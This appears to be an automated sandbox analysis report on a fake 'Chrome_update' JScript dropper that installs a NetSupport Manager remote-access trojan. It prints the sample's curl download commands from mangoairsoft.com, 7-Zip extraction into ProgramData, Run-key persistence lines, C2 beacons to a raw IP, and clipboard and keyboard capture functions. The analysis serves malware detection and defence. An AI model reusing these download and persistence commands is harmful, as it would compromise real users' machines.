Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3588021800.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329461804.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408985353.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, client32.exe.17.dr, pcicapi.dll.17.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, client32.exe.17.dr, pcicapi.dll.17.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: wscript.exe, 00000000.00000002.1331277766.000001F055A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: CacheURL.dat.17.dr	String found in binary or memory: https://magydostravel.com/cdn/zwmrqqgqnaww.php
Source: wscript.exe, 00000000.00000002.1331277766.000001F055A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/
Source: wscript.exe, 00000000.00000003.1273128701.000001F05334A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1112213896.000001F055061000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1270397845.000001F05506A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1272750082.000001F053372000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1328476970.000001F05334B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1112213896.000001F05506A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25
Source: wscript.exe, wscript.exe, 00000000.00000003.1270530250.000001F055086000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1330467633.000001F05361E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1270397845.000001F05506A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1270397845.000001F055086000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1270503289.000001F05361D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1330634366.000001F055086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250
Source: wscript.exe, 00000000.00000003.1273375631.000001F055235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?5
Source: curl.exe, 0000000A.00000002.1179118449.0000020751860000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000002.1179118449.0000020751899000.00000004.00000020.00020000.00000000.sdmp, 11[1].bat.0.dr, hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat.0.dr	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat
Source: curl.exe, 0000000A.00000002.1179118449.0000020751860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat-o
Source: curl.exe, 00000008.00000002.1172422592.000001D23D770000.00000004.00000020.00020000.00000000.sdmp, 7z.bat.3.dr, 11[1].bat.0.dr, hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat.0.dr	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe
Source: curl.exe, 00000008.00000002.1172422592.000001D23D778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-
Source: curl.exe, 00000008.00000002.1172633599.000001D23D7A9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1171509627.000001D23D7A9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1171272805.000001D23D7A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe4
Source: curl.exe, 00000006.00000002.1159539657.00000222B2AE0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000003.1158273747.00000222B2B17000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000003.1158410415.00000222B2B18000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000003.1158487951.00000222B2AF3000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000002.1159697904.00000222B2B18000.00000004.00000020.00020000.00000000.sdmp, 11[1].bat.0.dr, sett.bat.3.dr, hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat.0.dr	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z
Source: curl.exe, 00000006.00000002.1159539657.00000222B2AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z-
Source: wscript.exe, 00000000.00000003.1270397845.000001F05506A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1112213896.000001F05506A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf258
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/
Source: 7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown

HTTP traffic detected: POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 94.158.247.23Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: unknown

DNS traffic detected: queries for: mangoairsoft.com

Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?597673 HTTP/1.1Accept: /Accept-Language: en-CH,en-US;q=0.8,en-GB;q=0.5,en;q=0.2UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: mangoairsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z HTTP/1.1Host: mangoairsoft.comUser-Agent: curl/8.0.1Accept: /
Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe HTTP/1.1Host: mangoairsoft.comUser-Agent: curl/8.0.1Accept: /
Source: global traffic	HTTP traffic detected: GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat HTTP/1.1Host: mangoairsoft.comUser-Agent: curl/8.0.1Accept: /
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.127.230.147:443 -> 192.168.2.8:49706 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to modify clipboard data

Source: C:\ProgramData\client32.exe	Code function: 20_2_110335A0 GetClipboardFormatNameA,SetClipboardData,		20_2_110335A0
Source: C:\ProgramData\client32.exe	Code function: 20_2_1101FC20 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,		20_2_1101FC20

Source: C:\ProgramData\client32.exe

Code function: 20_2_11033320 IsClipboardFormatAvailable,GetClipboardData,GetClipboardFormatNameA,GetLastError,GlobalUnlock,

20_2_11033320

Source: Yara match	File source: 22.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.2423280.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.241e908.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.2416790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.2423280.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7zz.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 1652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 6836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 6916, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\PCICL32.DLL, type: DROPPED

Source: C:\ProgramData\client32.exe

Code function: 20_2_1101FC20 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

20_2_1101FC20

Source: C:\ProgramData\client32.exe	Code function: 20_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		20_2_1102D9F4
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		20_2_1102DD21

Source: C:\ProgramData\7zz.exe	Code function: 17_2_00403A70	17_2_00403A70
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00417BAE	17_2_00417BAE
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0045E0C0	17_2_0045E0C0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004442E0	17_2_004442E0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046A2A0	17_2_0046A2A0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0044A440	17_2_0044A440
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046A460	17_2_0046A460
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0044E430	17_2_0044E430
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004465E0	17_2_004465E0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004285AD	17_2_004285AD
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0044A7E0	17_2_0044A7E0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00456830	17_2_00456830
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046A950	17_2_0046A950
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004469A0	17_2_004469A0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004729A3	17_2_004729A3
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0044CA40	17_2_0044CA40
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0045EA60	17_2_0045EA60
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00454B10	17_2_00454B10
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00458B30	17_2_00458B30
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00472B30	17_2_00472B30
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00450BD0	17_2_00450BD0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00472C0B	17_2_00472C0B
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00456CF0	17_2_00456CF0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00434D28	17_2_00434D28
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00460DF8	17_2_00460DF8
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00466E30	17_2_00466E30
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00451050	17_2_00451050
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00447150	17_2_00447150
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00459170	17_2_00459170
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004311FE	17_2_004311FE
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00467220	17_2_00467220
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046F314	17_2_0046F314
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00449460	17_2_00449460
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00467420	17_2_00467420
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004514F0	17_2_004514F0
Source: C:\ProgramData\7zz.exe	Code function: 17_2_004075F5	17_2_004075F5
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00453740	17_2_00453740
Source: C:\ProgramData\client32.exe	Code function: 20_2_11073680	20_2_11073680
Source: C:\ProgramData\client32.exe	Code function: 20_2_11029BB0	20_2_11029BB0
Source: C:\ProgramData\client32.exe	Code function: 20_2_110627B0	20_2_110627B0
Source: C:\ProgramData\client32.exe	Code function: 20_2_110336D0	20_2_110336D0
Source: C:\ProgramData\client32.exe	Code function: 20_2_11051800	20_2_11051800
Source: C:\ProgramData\client32.exe	Code function: 20_2_1115F840	20_2_1115F840
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102BD40	20_2_1102BD40
Source: C:\ProgramData\client32.exe	Code function: 20_2_1101BCD0	20_2_1101BCD0
Source: C:\ProgramData\client32.exe	Code function: 20_2_11087F50	20_2_11087F50
Source: C:\ProgramData\client32.exe	Code function: 20_2_11045E70	20_2_11045E70
Source: C:\ProgramData\client32.exe	Code function: 20_2_1101C110	20_2_1101C110

Source: C:\ProgramData\client32.exe	Code function: String function: 11027F40 appears 37 times
Source: C:\ProgramData\client32.exe	Code function: String function: 1105E820 appears 169 times
Source: C:\ProgramData\client32.exe	Code function: String function: 11147060 appears 340 times
Source: C:\ProgramData\client32.exe	Code function: String function: 11029A70 appears 509 times
Source: C:\ProgramData\7zz.exe	Code function: String function: 0046B890 appears 441 times
Source: C:\ProgramData\7zz.exe	Code function: String function: 00407A18 appears 96 times

Source: C:\ProgramData\client32.exe

Code function: 20_2_11113190: GetKeyState,DeviceIoControl,keybd_event,

20_2_11113190

Source: Chrome_update(1).js

Initial sample: Strings found which are bigger than 50

Source: C:\ProgramData\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\ProgramData\client32.exe	Section loaded: nslsp.dll	Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Chrome_update(1).js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 7
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: unknown	Process created: C:\ProgramData\client32.exe "C:\ProgramData\client32.exe"
Source: unknown	Process created: C:\ProgramData\client32.exe "C:\ProgramData\client32.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 7
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Source: C:\ProgramData\client32.exe	Code function: 20_2_1109D860 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,		20_2_1109D860
Source: C:\ProgramData\client32.exe	Code function: 20_2_1109D8F0 AdjustTokenPrivileges,CloseHandle,		20_2_1109D8F0

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AA1WTLEO\11[1].bat

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\b1.vbs

Source: classification engine

Classification label: mal88.troj.spyw.evad.winJS@40/36@2/4

Source: C:\ProgramData\client32.exe

Code function: 20_2_11116880 CoInitialize,CoCreateInstance,LoadLibraryA,GetProcAddress,SHGetSettings,FreeLibrary,CoUninitialize,

20_2_11116880

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7068:120:WilError_03

Source: C:\ProgramData\client32.exe

Code function: 20_2_11089430 FindResourceA,LoadResource,LockResource,

20_2_11089430

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat

Source: C:\ProgramData\7zz.exe

File written: C:\ProgramData\NSM.ini

Source: C:\ProgramData\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Source: C:\ProgramData\7zz.exe

File opened: C:\ProgramData\msvcr100.dll

JScript performs obfuscated calls to suspicious functions

Source:	Binary string: msvcr100.i386.pdb source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3591394075.0000000071691000.00000020.00000001.01000000.0000000B.sdmp, client32.exe, 00000016.00000002.1331482719.0000000071691000.00000020.00000001.01000000.0000000B.sdmp, client32.exe, 0000001D.00000002.1410159895.0000000071691000.00000020.00000001.01000000.0000000B.sdmp, msvcr100.dll.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr
